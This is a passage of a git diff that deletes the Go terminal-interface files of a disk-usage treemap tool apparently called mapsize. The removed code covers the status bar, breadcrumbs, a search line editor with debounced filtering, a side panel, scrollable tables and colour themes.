len(m.tree.Stats.Excludes) > 0 { - add(fmt.Sprintf("EXCL %d", len(m.tree.Stats.Excludes)), t.Faint) - } - add(strings.ToUpper(m.sizeMode.String()), t.Faint) - rx := r.X + r.W - for i := len(chips) - 1; i >= 0; i-- { - s := " " + chips[i].s + " " - w := textutil.Width(s) - if rx-w-1 < x { - break - } - rx -= w - cv.Text(rx, r.Y, s, w, Style{FG: t.textOn(chips[i].bg), BG: chips[i].bg, Attr: Bold | m.monoRev()}) - rx-- - } -} - -func (m *Model) monoRev() Attr { - if m.theme.Mono { - return Reverse - } - return 0 -} - -// paintCrumbs draws "/ › home › andy" breadcrumbs, truncated from the left, -// with the zoom root's size on the right. -func (m *Model) paintCrumbs(cv *Canvas, r treemap.Rect) { - t := m.theme - cv.Fill(r, " ", t.header()) - tr := m.tree - z := tr.Node(m.zoom) - size := m.sizeOf(m.zoom) - right := " " + textutil.Size(size) - if root := m.sizeOf(tr.Root()); m.zoom != tr.Root() && root > 0 { - right += " " + textutil.Percent(size, root) + " of scan" - } - if m.search.result != nil { - right += fmt.Sprintf(" (%s matches)", textutil.Count(m.search.result.Count)) - } - if z.IsDir() { - right += fmt.Sprintf(" %s files", textutil.Count(int64(z.Files))) - } - right += " " - rw := textutil.Width(right) - if rw > r.W/2 { - right = " " + textutil.SizeCompact(size) + " " - rw = textutil.Width(right) - } - cv.TextRight(r.X, r.Y, r.W, right, Style{FG: t.HeaderFg, BG: t.HeaderBg, Attr: Bold}) - - sep := " › " - if t.ASCII { - sep = " > " - } - chain := tr.Ancestors(m.zoom) - type seg struct { - id inventory.NodeID - s string - } - segs := make([]seg, len(chain)) - for i, id := range chain { - segs[i] = seg{id, textutil.Sanitize(tr.Node(id).Name)} - } - avail := r.W - rw - 2 - // Drop leading segments until the rest fits; keep at least the last. - total := func(from int) int { - w := 0 - for i := from; i < len(segs); i++ { - w += textutil.Width(segs[i].s) - if i > from { - w += textutil.Width(sep) - } - } - if from > 0 { - w += textutil.Width("…" + sep) - } - return w - } - from := 0 - for from < len(segs)-1 && total(from) > avail { - from++ - } - x := r.X + 1 - if from > 0 { - x += cv.Text(x, r.Y, "…"+sep, avail, Style{FG: t.Muted, BG: t.HeaderBg}) - } - for i := from; i < len(segs); i++ { - if i > from { - x += cv.Text(x, r.Y, sep, r.X+1+avail-x, Style{FG: t.Faint, BG: t.HeaderBg}) - } - st := Style{FG: t.Muted, BG: t.HeaderBg} - if i == len(segs)-1 { - st = Style{FG: t.Fg, BG: t.HeaderBg, Attr: Bold} - } - s := segs[i].s - if i == len(segs)-1 { - s = textutil.TruncateLeft(s, max(1, r.X+1+avail-x)) - } - w := cv.Text(x, r.Y, s, r.X+1+avail-x, st) - id := segs[i].id - m.hits = append(m.hits, hit{treemap.Rect{X: x, Y: r.Y, W: w, H: 1}, func(m *Model, _ bool) tea.Cmd { m.zoomTo(id); return nil }}) - x += w - } -} - -// paintInfoLine describes the selection (or shows the search editor). -func (m *Model) paintInfoLine(cv *Canvas, r treemap.Rect) { - t := m.theme - cv.Fill(r, " ", t.panel()) - if m.search.editing { - m.paintSearch(cv, r) - return - } - if m.search.query != nil { - m.paintFilterSummary(cv, r) - return - } - cv.Text(r.X+1, r.Y, m.describeSelection(), r.W-2, t.panel()) -} - -func (m *Model) describeSelection() string { - id := m.selectedNode() - tr := m.tree - if isGroup(m.sel) { - if g, ok := m.groupInfo(m.sel); ok { - return fmt.Sprintf("▸ %s smaller items · %s · %s of %s · Enter lists them", - textutil.Count(int64(len(g.ids))), textutil.Size(g.size), textutil.Percent(g.size, m.sizeOf(m.zoom)), - textutil.Sanitize(tr.Node(m.zoom).Name)) - } - } - if id == inventory.NoNode { - return "Nothing selected" - } - n := tr.Node(id) - parts := []string{"▸ " + textutil.Sanitize(n.Name)} - parts = append(parts, textutil.Size(m.sizeOf(id))) - if p := n.Parent; p != inventory.NoNode { - parts = append(parts, textutil.Percent(m.sizeOf(id), m.sizeOf(p))+" of parent") - } - if n.IsDir() { - parts = append(parts, textutil.Count(int64(n.Files))+" files", textutil.Count(int64(n.Dirs))+" dirs") - if n.Flags&inventory.FlagScanned == 0 && m.scanning { - parts = append(parts, "scanning…") - } - } else { - parts = append(parts, kindLabel(tr, n)) - } - if n.MTime > 0 { - parts = append(parts, "modified "+time.Unix(0, n.MTime).Format("2006-01-02")) - } - if n.Errors > 0 { - parts = append(parts, fmt.Sprintf("%d errors", n.Errors)) - } - if m.opts.Diff != nil { - parts = append(parts, textutil.SignedSize(m.opts.Diff.Delta(id, m.sizeMode))+" vs old snapshot") - } - return strings.Join(parts, " · ") -} - -func kindLabel(tr *inventory.Tree, n *inventory.Node) string { - switch n.Kind { - case inventory.KindFile: - return n.Cat.String() - case inventory.KindSymlink: - return "symlink" - } - return n.Kind.String() -} - -var spinner = []string{"⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"} - -// paintStatus draws the live status bar. -func (m *Model) paintStatus(cv *Canvas, r treemap.Rect, class sizeClass) { - t := m.theme - cv.Fill(r, " ", t.status()) - help := " ? help " - if class == small { - help = " ? " - } - hw := cv.Text(r.X+r.W-textutil.Width(help), r.Y, help, r.W, Style{FG: t.Muted, BG: t.StatusBg}) - avail := r.W - hw - 1 - if m.toast != "" { - cv.Text(r.X+1, r.Y, m.toast, avail-1, m.toastStyle) - return - } - st := &m.tree.Stats - root := m.tree.Node(m.tree.Root()) - files := st.Files + st.Symlinks + st.Others - var parts []struct { - s string - fg Color - } - add := func(s string, fg Color) { - parts = append(parts, struct { - s string - fg Color - }{s, fg}) - } - switch { - case m.scanning: - frame := spinner[int(time.Now().UnixMilli()/100)%len(spinner)] - if t.ASCII { - frame = "*" - } - add(frame+" scanning", t.Accent) - case st.Cancelled: - add("✗ cancelled", t.Warn) - case m.snapshot: - add("◉ snapshot", t.Accent) - default: - add("✓ complete", t.OK) - } - add(textutil.Count(files)+" files", t.StatusFg) - add(textutil.Size(root.Total(m.sizeMode)), t.StatusFg) - if m.scanning { - el := st.Elapsed() - p := m.scanner.Progress() - add(textutil.Count(int64(float64(p.Entries)/max(el.Seconds(), 0.001)))+"/s", t.StatusFg) - if class != small { - add(fmt.Sprintf("%d workers", p.Workers), t.Muted) - add(fmt.Sprintf("queue %s", textutil.Count(p.Pending)), t.Muted) - } - add(textutil.Duration(el), t.Muted) - } else if !m.snapshot && class != small { - add(textutil.Duration(st.Elapsed()), t.Muted) - } - if e := st.TotalErrors(); e > 0 { - add(fmt.Sprintf("%s errors", textutil.Count(e)), t.Err) - } - if st.Excluded > 0 { - add(fmt.Sprintf("%s excluded", textutil.Count(st.Excluded)), t.Warn) - } - if st.Incomplete() && !m.scanning && class != small { - add("totals incomplete", t.Warn) - } - x := r.X + 1 - for i, p := range parts { - s := p.s - if i > 0 { - s = " " + s - } - if x+textutil.Width(s) > r.X+avail { - break - } - st := Style{FG: p.fg, BG: t.StatusBg} - if i == 0 { - st.Attr = Bold - } - x += cv.Text(x, r.Y, s, avail-x, st) - } -} diff --git a/internal/tui/run.go b/internal/tui/run.go deleted file mode 100644 index c3dae65..0000000 --- a/internal/tui/run.go +++ /dev/null @@ -1,72 +0,0 @@ -package tui - -import ( - "context" - "fmt" - "os" - "runtime/debug" - "time" - - tea "charm.land/bubbletea/v2" - "github.com/charmbracelet/colorprofile" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/scan" - "github.com/andydixon/mapsize/internal/snapshot" - "github.com/andydixon/mapsize/internal/textutil" -) - -var profiles = map[string]colorprofile.Profile{ - "truecolor": colorprofile.TrueColor, "24bit": colorprofile.TrueColor, - "256": colorprofile.ANSI256, "16": colorprofile.ANSI, "none": colorprofile.ASCII, -} - -func saveFile(path string, t *inventory.Tree) error { return snapshot.SaveFile(path, t) } - -// Run starts the interactive UI. The terminal is restored on every exit -// path: normal quit, Ctrl+C, errors and panics (Bubble Tea recovers panics -// in Update/View; scanner goroutine panics are routed here via -// scan.OnPanic and reported after the terminal is restored). -func Run(opts Options) error { - ctx, cancel := context.WithCancel(context.Background()) - defer cancel() - s, t, err := opts.Start(ctx) - if err != nil { - return err - } - m := newModel(opts, s, t, cancel) - var popts []tea.ProgramOption - if p, ok := profiles[opts.Color]; ok { - m.profile, m.forced = p, true - popts = append(popts, tea.WithColorProfile(p)) - } else if opts.Color != "" && opts.Color != "auto" { - return fmt.Errorf("invalid --color %q (auto, truecolor, 256, 16, none)", opts.Color) - } - p := tea.NewProgram(m, popts...) - prev := scan.OnPanic - scan.OnPanic = func(v any, stack []byte) { - p.Send(fatalMsg{v, stack}) - select {} // park the broken goroutine; the program is quitting - } - defer func() { scan.OnPanic = prev }() - if debugPanic == "scanner" { - go func() { - time.Sleep(500 * time.Millisecond) - defer func() { - if v := recover(); v != nil { - scan.OnPanic(v, debug.Stack()) - } - }() - panic("MAPSIZE_DEBUG_PANIC=scanner: deliberate panic to test terminal restoration") - }() - } - - _, err = p.Run() - cancel() - if m.fatal != nil { - fmt.Fprintf(os.Stderr, "mapsize: internal error in scanner: %s\n\n%s\n", - textutil.Sanitize(fmt.Sprint(m.fatal.v)), m.fatal.stack) - return fmt.Errorf("scanner crashed") - } - return err -} diff --git a/internal/tui/search.go b/internal/tui/search.go deleted file mode 100644 index de31a62..0000000 --- a/internal/tui/search.go +++ /dev/null @@ -1,260 +0,0 @@ -package tui - -import ( - "context" - "fmt" - "time" - - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/filter" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// lineEditor is a minimal single-line text editor. -type lineEditor struct { - buf []rune - cur int -} - -func (e *lineEditor) String() string { return string(e.buf) } - -func (e *lineEditor) set(s string) { e.buf, e.cur = []rune(s), len([]rune(s)) } - -// key applies an editing key; it reports whether the text changed. -func (e *lineEditor) key(msg tea.KeyPressMsg) (changed, handled bool) { - switch msg.Keystroke() { - case "left", "ctrl+b": - e.cur = max(0, e.cur-1) - case "right", "ctrl+f": - e.cur = min(len(e.buf), e.cur+1) - case "home", "ctrl+a": - e.cur = 0 - case "end", "ctrl+e": - e.cur = len(e.buf) - case "backspace", "ctrl+h": - if e.cur > 0 { - e.buf = append(e.buf[:e.cur-1], e.buf[e.cur:]...) - e.cur-- - return true, true - } - case "delete", "ctrl+d": - if e.cur < len(e.buf) { - e.buf = append(e.buf[:e.cur], e.buf[e.cur+1:]...) - return true, true - } - case "ctrl+u": - e.buf, e.cur = e.buf[e.cur:], 0 - return true, true - case "ctrl+k": - e.buf = e.buf[:e.cur] - return true, true - case "ctrl+w", "alt+backspace": - i := e.cur - for i > 0 && e.buf[i-1] == ' ' { - i-- - } - for i > 0 && e.buf[i-1] != ' ' { - i-- - } - e.buf = append(e.buf[:i], e.buf[e.cur:]...) - e.cur = i - return true, true - default: - txt := msg.Text - if txt == "" || msg.Mod&(tea.ModCtrl|tea.ModAlt) != 0 { - return false, false - } - var rs []rune - for _, r := range txt { - if r >= 0x20 && r != 0x7f { - rs = append(rs, r) - } - } - if len(rs) == 0 || len(e.buf)+len(rs) > 1024 { - return false, true - } - e.buf = append(e.buf[:e.cur], append(rs, e.buf[e.cur:]...)...) - e.cur += len(rs) - return true, true - } - return false, true -} - -type searchState struct { - editing bool - ed lineEditor - query *filter.Query - result *filter.Result - err string - gen int - busy bool - appliedAt time.Time - cancel context.CancelFunc -} - -func (s *searchState) begin() { - s.editing = true - if s.query != nil { - s.ed.set(s.query.String()) - } -} - -func (m *Model) searchKey(msg tea.KeyPressMsg) tea.Cmd { - s := &m.search - switch msg.Keystroke() { - case "esc": - s.editing = false - m.clearFilter() - return nil - case "enter": - s.editing = false - if s.err != "" { - return m.warn("Invalid query: " + s.err) - } - return nil - } - changed, _ := s.ed.key(msg) - if changed { - return m.queryChanged() - } - return nil -} - -// queryChanged parses the editor contents and schedules a debounced apply. -func (m *Model) queryChanged() tea.Cmd { - s := &m.search - s.gen++ - text := s.ed.String() - if text == "" { - s.err = "" - m.dropFilter() - return nil - } - q, err := filter.Parse(text, time.Now()) - if err != nil { - s.err = err.Error() - return nil - } - s.err = "" - s.query = q - gen := s.gen - return tea.Tick(120*time.Millisecond, func(time.Time) tea.Msg { return filterDebounceMsg{gen} }) -} - -// setFilter replaces the filter with q and applies it immediately. -func (m *Model) setFilter(q string) tea.Cmd { - m.search.ed.set(q) - m.search.editing = false - m.queryChanged() - if m.search.err != "" { - return m.warn("Invalid query: " + m.search.err) - } - return m.applyFilter() -} - -// applyFilter evaluates the current query in the background. The tree is -// read-locked by the worker; stale results are discarded by generation. -func (m *Model) applyFilter() tea.Cmd { - s := &m.search - if s.query == nil { - return nil - } - if s.cancel != nil { - s.cancel() - } - ctx, cancel := context.WithCancel(context.Background()) - s.cancel = cancel - s.busy = true - s.appliedAt = time.Now() - t, q, mode, gen := m.tree, s.query, m.sizeMode, s.gen - return func() tea.Msg { - t.RLock() - res, err := filter.Apply(ctx, t, q, mode) - t.RUnlock() - return filterMsg{gen: gen, res: res, err: err} - } -} - -func (m *Model) filterResult(msg filterMsg) tea.Cmd { - s := &m.search - if msg.gen != s.gen || s.query == nil { - return nil - } - s.busy = false - if msg.err != nil { - return nil - } - s.result = msg.res - m.invalidate() - return nil -} - -// dropFilter removes the active filter but keeps the editor open. -func (m *Model) dropFilter() { - s := &m.search - if s.cancel != nil { - s.cancel() - } - s.query, s.result, s.busy = nil, nil, false - m.invalidate() -} - -func (m *Model) clearFilter() { - m.dropFilter() - m.search.ed.set("") - m.search.err = "" - m.search.gen++ -} - -func (m *Model) paintSearch(cv *Canvas, r treemap.Rect) { - t := m.theme - s := &m.search - st := Style{FG: t.Fg, BG: t.PanelBg} - cv.Fill(r, " ", st) - x := r.X + 1 - x += cv.Text(x, r.Y, "/ ", 2, Style{FG: t.Accent, BG: t.PanelBg, Attr: Bold}) - status, statusSt := "", Style{FG: t.Muted, BG: t.PanelBg} - switch { - case s.err != "": - status, statusSt.FG = "✗ "+s.err, t.Err - case s.busy: - status = "filtering…" - case s.result != nil: - status = fmt.Sprintf("%s matches · %s", textutil.Count(s.result.Count), textutil.Size(s.result.Total)) - case len(s.ed.buf) == 0: - status = "name, *.iso, size > 1GB, ext IN (iso,vmdk), age > 365d … Enter keep · Esc clear" - } - sw := min(textutil.Width(status), r.W/2) - avail := r.W - (x - r.X) - sw - 3 - // Scroll the text so the cursor stays visible. - text := s.ed.buf - start := 0 - if s.ed.cur > avail-1 { - start = s.ed.cur - avail + 1 - } - vis := string(text[start:min(len(text), start+avail)]) - cv.Text(x, r.Y, textutil.Sanitize(vis), avail, st) - cx := x + textutil.Width(textutil.Sanitize(string(text[start:s.ed.cur]))) - under := " " - if s.ed.cur < len(text) { - under = textutil.Sanitize(string(text[s.ed.cur])) - } - cv.Text(cx, r.Y, under, 2, Style{FG: t.PanelBg, BG: t.Fg, Attr: m.monoRev()}) - cv.TextRight(r.X, r.Y, r.W-1, textutil.Truncate(status, sw), statusSt) -} - -func (m *Model) paintFilterSummary(cv *Canvas, r treemap.Rect) { - t := m.theme - s := &m.search - x := r.X + 1 - x += cv.Text(x, r.Y, " FILTER ", 8, Style{FG: t.textOn(t.Warn), BG: t.Warn, Attr: Bold | m.monoRev()}) - x += cv.Text(x+1, r.Y, textutil.Sanitize(s.query.String()), r.W/2, Style{FG: t.Fg, BG: t.PanelBg, Attr: Bold}) + 1 - info := "filtering…" - if s.result != nil && !s.busy { - info = fmt.Sprintf("%s matches · %s of %s · / edit · Esc clear", textutil.Count(s.result.Count), - textutil.Size(s.result.Total), textutil.Size(m.tree.Node(0).Total(m.sizeMode))) - } - cv.Text(x+2, r.Y, info, r.X+r.W-x-3, Style{FG: t.Muted, BG: t.PanelBg}) -} diff --git a/internal/tui/side.go b/internal/tui/side.go deleted file mode 100644 index d27bdce..0000000 --- a/internal/tui/side.go +++ /dev/null @@ -1,118 +0,0 @@ -package tui - -import ( - "fmt" - "sort" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// paintSide draws the large-layout side panel: directory summary, category -// breakdown and the selected item. -func (m *Model) paintSide(cv *Canvas, r treemap.Rect) { - t := m.theme - ps := t.panel() - cv.Fill(r, " ", ps) - cv.Fill(treemap.Rect{X: r.X + r.W - 1, Y: r.Y, W: 1, H: r.H}, "│", Style{FG: t.Faint, BG: t.PanelBg}) - w := r.W - 3 - x := r.X + 1 - y := r.Y + 1 - end := r.Y + r.H - head := func(s string) { - if y < end { - cv.Text(x, y, s, w, Style{FG: t.Accent, BG: t.PanelBg, Attr: Bold}) - y++ - } - } - kvl := func(k, v string, vs Style) { - if y < end { - cv.Text(x, y, k, w, Style{FG: t.Muted, BG: t.PanelBg}) - cv.TextRight(x, y, w, v, vs) - y++ - } - } - val := Style{FG: t.Fg, BG: t.PanelBg, Attr: Bold} - tr := m.tree - z := tr.Node(m.zoom) - - head("DIRECTORY") - for _, l := range wrap(textutil.Sanitize(z.Name), w) { - if y < end { - cv.Text(x, y, l, w, Style{FG: t.Fg, BG: t.PanelBg, Attr: Bold}) - y++ - } - } - y++ - kvl("Size", textutil.Size(m.sizeOf(m.zoom)), val) - kvl("Logical", textutil.Size(z.TotSize), Style{FG: t.Fg, BG: t.PanelBg}) - kvl("Allocated", textutil.Size(z.TotAlloc), Style{FG: t.Fg, BG: t.PanelBg}) - kvl("Files", textutil.Count(int64(z.Files)), Style{FG: t.Fg, BG: t.PanelBg}) - kvl("Directories", textutil.Count(int64(z.Dirs)), Style{FG: t.Fg, BG: t.PanelBg}) - if z.Errors > 0 { - kvl("Errors", textutil.Count(int64(z.Errors)), Style{FG: t.Err, BG: t.PanelBg, Attr: Bold}) - } - y++ - - // Category breakdown with proportional bars. - if cs := tr.CatSizes(m.zoom); cs != nil { - head("CATEGORIES") - type cat struct { - c inventory.Category - v int64 - } - var cats []cat - var total int64 - for i, v := range cs { - if v > 0 { - cats = append(cats, cat{inventory.Category(i), v}) - total += v - } - } - sort.Slice(cats, func(i, j int) bool { return cats[i].v > cats[j].v }) - for _, c := range cats { - if y >= end-8 { - break - } - col := t.Cat[c.c] - sw := "██ " - if t.Mono || t.ASCII { - sw = " " - } - cv.Text(x, y, sw, 3, Style{FG: col, BG: t.PanelBg}) - cv.Text(x+3, y, c.c.String(), w-3, Style{FG: t.Fg, BG: t.PanelBg}) - cv.TextRight(x, y, w, textutil.Percent(c.v, total), Style{FG: t.Muted, BG: t.PanelBg}) - y++ - m.paintBar(cv, x+3, y, w-3, float64(c.v)/float64(cats[0].v), col, false) - y++ - } - y++ - } - - // Selected item. - if y < end-4 { - head("SELECTED") - desc := []string{} - if isGroup(m.sel) { - if g, ok := m.groupInfo(m.sel); ok { - desc = append(desc, fmt.Sprintf("%s smaller items", textutil.Count(int64(len(g.ids)))), textutil.Size(g.size)) - } - } else if id := m.selectedNode(); id != inventory.NoNode { - n := tr.Node(id) - desc = append(desc, wrap(textutil.Sanitize(n.Name), w)...) - desc = append(desc, textutil.Size(m.sizeOf(id))+" · "+textutil.Percent(m.sizeOf(id), m.sizeOf(m.zoom))) - if n.IsDir() { - desc = append(desc, textutil.Count(int64(n.Files))+" files") - } else { - desc = append(desc, kindLabel(tr, n)) - } - } - for _, d := range desc { - if y < end { - cv.Text(x, y, d, w, Style{FG: t.Fg, BG: t.PanelBg}) - y++ - } - } - } -} diff --git a/internal/tui/table.go b/internal/tui/table.go deleted file mode 100644 index 9da1d34..0000000 --- a/internal/tui/table.go +++ /dev/null @@ -1,222 +0,0 @@ -package tui - -import ( - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// column describes one table column. -type column struct { - title string - width int // 0 = flexible (takes the remaining space) - right bool - clipLeft bool // truncate from the left (paths: the tail matters) -} - -// tableRow is one rendered row: cell strings plus optional per-cell styles. -type tableRow struct { - cells []string - styles []*Style // nil = default - bar float64 // 0..1 for an optional bar column (-1 = none) - barCol Color -} - -// table is a scrollable list with a cursor, shared by the list-style views. -type table struct { - cursor, offset int - height int // rows visible in the last paint -} - -// scroll moves the cursor three rows for a mouse wheel step. -func (tb *table) scroll(up bool, n int) { - if up { - tb.move(-3, n) - } else { - tb.move(3, n) - } -} - -func (tb *table) move(d, n int) { - if n == 0 { - tb.cursor = 0 - return - } - tb.cursor = min(max(tb.cursor+d, 0), n-1) -} - -// key handles navigation keys common to all tables. -func (tb *table) key(k string, n int) bool { - page := max(tb.height-1, 1) - switch k { - case "up", "k": - tb.move(-1, n) - case "down", "j": - tb.move(1, n) - case "pgup", "ctrl+b": - tb.move(-page, n) - case "pgdown", "ctrl+f": - tb.move(page, n) - case "end", "G": - tb.move(n, n) - case "g": - tb.cursor = 0 - default: - return false - } - return true -} - -func (tb *table) paint(m *Model, cv *Canvas, r treemap.Rect, cols []column, rows []tableRow, title string) { - t := m.theme - cv.Fill(r, " ", t.base()) - if r.H < 3 { - return - } - y := r.Y - if title != "" { - cv.Text(r.X+1, y, title, r.W-2, Style{FG: t.Accent, BG: t.Bg, Attr: Bold}) - y++ - } - // Resolve flexible width. - fixed := 0 - for _, c := range cols { - fixed += c.width + 1 - } - flex := max(r.W-2-fixed, 8) - x := r.X + 1 - hdr := Style{FG: t.Muted, BG: t.Bg, Attr: Bold} - for _, c := range cols { - w := c.width - if w == 0 { - w = flex - } - s := c.title - if c.right { - s = textutil.PadLeft(s, w) - } - cv.Text(x, y, s, w, hdr) - x += w + 1 - } - y++ - cv.HLine(r.X+1, y, r.W-2, "─", Style{FG: t.Faint, BG: t.Bg}) - y++ - tb.height = r.Y + r.H - y - if tb.cursor >= len(rows) { - tb.cursor = max(len(rows)-1, 0) - } - if tb.cursor < tb.offset { - tb.offset = tb.cursor - } - if tb.cursor >= tb.offset+tb.height { - tb.offset = tb.cursor - tb.height + 1 - } - tb.offset = max(0, min(tb.offset, len(rows)-tb.height)) - for i := tb.offset; i < len(rows) && y < r.Y+r.H; i++ { - row := rows[i] - sel := i == tb.cursor - base := t.base() - if sel { - base = Style{FG: t.textOn(t.Sel), BG: t.Sel, Attr: Bold | m.monoRev()} - cv.Fill(treemap.Rect{X: r.X, Y: y, W: r.W, H: 1}, " ", base) - } - x := r.X + 1 - for ci, c := range cols { - w := c.width - if w == 0 { - w = flex - } - s := "" - if ci < len(row.cells) { - s = row.cells[ci] - } - st := base - if !sel && ci < len(row.styles) && row.styles[ci] != nil { - st = *row.styles[ci] - } - if c.title == "" && row.bar >= 0 { - m.paintBar(cv, x, y, w, row.bar, row.barCol, sel) - } else if c.right { - cv.Text(x, y, textutil.PadLeft(s, w), w, st) - } else if c.clipLeft { - cv.Text(x, y, textutil.TruncateLeft(s, w), w, st) - } else { - cv.Text(x, y, textutil.Truncate(s, w), w, st) - } - x += w + 1 - } - idx := i - m.hits = append(m.hits, hit{treemap.Rect{X: r.X, Y: y, W: r.W, H: 1}, func(m *Model, double bool) tea.Cmd { - tb.cursor = idx - if double { - return m.handleKeyName("enter") - } - return nil - }}) - y++ - } - if len(rows) == 0 { - cv.TextCentered(r.X, r.Y+r.H/2, r.W, "Nothing to show", t.muted()) - } - if len(rows) > tb.height && tb.height > 0 { - pos := textutil.Count(int64(tb.cursor+1)) + "/" + textutil.Count(int64(len(rows))) - cv.TextRight(r.X, r.Y, r.W-1, pos, t.muted()) - } -} - -// paintBar draws a proportional bar with eighth-block precision. -func (m *Model) paintBar(cv *Canvas, x, y, w int, frac float64, col Color, sel bool) { - t := m.theme - if col == 0 { - col = t.Accent - } - bg := t.Bg.Mix(t.Fg, 0.08) - if sel { - bg = t.Sel.Mix(RGB(0, 0, 0), 0.25) - } - eighths := int(frac*float64(w*8) + 0.5) - parts := []string{"", "▏", "▎", "▍", "▌", "▋", "▊", "▉"} - for i := 0; i < w; i++ { - ch := " " - switch { - case eighths >= 8: - ch = "█" - case eighths > 0: - ch = parts[eighths] - } - if t.ASCII { - ch = " " - if eighths >= 4 { - ch = "#" - } - } - eighths -= 8 - st := Style{FG: col, BG: bg} - if t.Mono { - st = Style{} - } - cv.Text(x+i, y, ch, 1, st) - } -} - -// handleKeyName lets mouse actions reuse key handling (lock already held). -func (m *Model) handleKeyName(k string) tea.Cmd { - if handled, cmd := m.views[m.view].key(m, k); handled { - return cmd - } - switch k { - case "enter": - return m.inspectSelection() - case "space": - return m.zoomIntoSelection() - } - return nil -} - -func plural(n int, s string) string { - if n == 1 { - return "1 " + s - } - return textutil.Count(int64(n)) + " " + s + "s" -} diff --git a/internal/tui/theme.go b/internal/tui/theme.go deleted file mode 100644 index 6959999..0000000 --- a/internal/tui/theme.go +++ /dev/null @@ -1,165 +0,0 @@ -package tui - -import ( - "sort" - "strings" - - "github.com/andydixon/mapsize/internal/config" - "github.com/andydixon/mapsize/internal/inventory" -) - -// Theme holds every colour the UI uses. Nothing else in the TUI hard-codes -// colours. -type Theme struct { - Name string - Mono bool // no colour: rely on attributes and glyphs - ASCII bool // no box-drawing glyphs - - Bg, Fg, Muted, Faint Color - Accent, Sel Color - HeaderBg, HeaderFg Color - StatusBg, StatusFg Color - PanelBg Color - Warn, Err, OK Color - Group Color - EmptyDir Color - Cat [inventory.NumCategories]Color - DiffGrow, DiffShrink Color - DiffNew, DiffSame Color - Ext map[string]Color -} - -var themes = map[string]func() *Theme{ - "default": defaultTheme, - "dark": darkTheme, - "high-contrast": highContrastTheme, - "mono": monoTheme, -} - -// ThemeNames lists built-in themes. -func ThemeNames() []string { - var out []string - for k := range themes { - out = append(out, k) - } - sort.Strings(out) - return out -} - -func defaultTheme() *Theme { - return &Theme{ - Name: "default", - Bg: RGB(0x16, 0x18, 0x1d), Fg: RGB(0xdc, 0xdf, 0xe4), Muted: RGB(0x8a, 0x91, 0x9c), Faint: RGB(0x4a, 0x50, 0x5a), - Accent: RGB(0x61, 0xaf, 0xef), Sel: RGB(0xff, 0xd8, 0x66), - HeaderBg: RGB(0x21, 0x25, 0x2b), HeaderFg: RGB(0xdc, 0xdf, 0xe4), - StatusBg: RGB(0x2c, 0x31, 0x3a), StatusFg: RGB(0xc8, 0xcc, 0xd4), - PanelBg: RGB(0x1c, 0x1f, 0x25), - Warn: RGB(0xe5, 0xc0, 0x7b), Err: RGB(0xe0, 0x6c, 0x75), OK: RGB(0x98, 0xc3, 0x79), - Group: RGB(0x5c, 0x63, 0x70), EmptyDir: RGB(0x4b, 0x52, 0x63), - Cat: [inventory.NumCategories]Color{ - inventory.CatOther: RGB(0x7f, 0x8c, 0x9d), - inventory.CatImage: RGB(0xe5, 0xc0, 0x7b), - inventory.CatVideo: RGB(0xe0, 0x6c, 0x75), - inventory.CatAudio: RGB(0xd1, 0x9a, 0x66), - inventory.CatArchive: RGB(0xc6, 0x78, 0xdd), - inventory.CatDiskImage: RGB(0x8e, 0x7c, 0xf0), - inventory.CatDatabase: RGB(0x56, 0xb6, 0xc2), - inventory.CatCode: RGB(0x98, 0xc3, 0x79), - inventory.CatDocument: RGB(0x61, 0xaf, 0xef), - inventory.CatExecutable: RGB(0xbe, 0x50, 0x46), - inventory.CatLog: RGB(0xa3, 0xa8, 0x6a), - inventory.CatCache: RGB(0x6b, 0x77, 0x88), - }, - DiffGrow: RGB(0xf0, 0x5a, 0x5a), DiffShrink: RGB(0x5a, 0xd0, 0x7a), - DiffNew: RGB(0x4f, 0xa8, 0xff), DiffSame: RGB(0x50, 0x56, 0x60), - } -} - -func darkTheme() *Theme { - t := defaultTheme() - t.Name = "dark" - t.Bg, t.PanelBg = RGB(0, 0, 0), RGB(0x0c, 0x0c, 0x0e) - t.HeaderBg, t.StatusBg = RGB(0x12, 0x12, 0x16), RGB(0x1a, 0x1a, 0x20) - for i, c := range t.Cat { - t.Cat[i] = c.Mix(RGB(0, 0, 0), 0.2) - } - return t -} - -func highContrastTheme() *Theme { - t := defaultTheme() - t.Name = "high-contrast" - t.Bg, t.Fg, t.Muted = RGB(0, 0, 0), RGB(0xff, 0xff, 0xff), RGB(0xd0, 0xd0, 0xd0) - t.HeaderBg, t.StatusBg, t.PanelBg = RGB(0, 0, 0), RGB(0x20, 0x20, 0x20), RGB(0, 0, 0) - t.Sel, t.Accent = RGB(0xff, 0xff, 0x00), RGB(0x00, 0xff, 0xff) - t.Cat = [inventory.NumCategories]Color{ - RGB(0xb0, 0xb0, 0xb0), RGB(0xff, 0xd7, 0x00), RGB(0xff, 0x30, 0x30), RGB(0xff, 0x8c, 0x00), - RGB(0xff, 0x00, 0xff), RGB(0x9b, 0x7b, 0xff), RGB(0x00, 0xe5, 0xff), RGB(0x00, 0xff, 0x00), - RGB(0x40, 0x9c, 0xff), RGB(0xff, 0x55, 0x55), RGB(0xc8, 0xff, 0x00), RGB(0x90, 0x90, 0xa0), - } - return t -} - -func monoTheme() *Theme { - return &Theme{Name: "mono", Mono: true} -} - -// LoadTheme returns a built-in theme with user overrides applied. -func LoadTheme(name string, s config.Settings) *Theme { - f, ok := themes[strings.ToLower(name)] - if !ok { - f = defaultTheme - } - t := f() - if t.Mono { - return t - } - for k, v := range s.CategoryColors { - if c, ok := inventory.ParseCategory(k); ok { - if col, ok := Hex(v); ok { - t.Cat[c] = col - } - } - } - for k, v := range s.ExtensionColors { - if col, ok := Hex(v); ok { - if t.Ext == nil { - t.Ext = map[string]Color{} - } - t.Ext[strings.ToLower(strings.TrimPrefix(k, "."))] = col - } - } - return t -} - -// Styles derived from the theme. -func (t *Theme) base() Style { return Style{FG: t.Fg, BG: t.Bg} } -func (t *Theme) muted() Style { return Style{FG: t.Muted, BG: t.Bg} } -func (t *Theme) header() Style { return Style{FG: t.HeaderFg, BG: 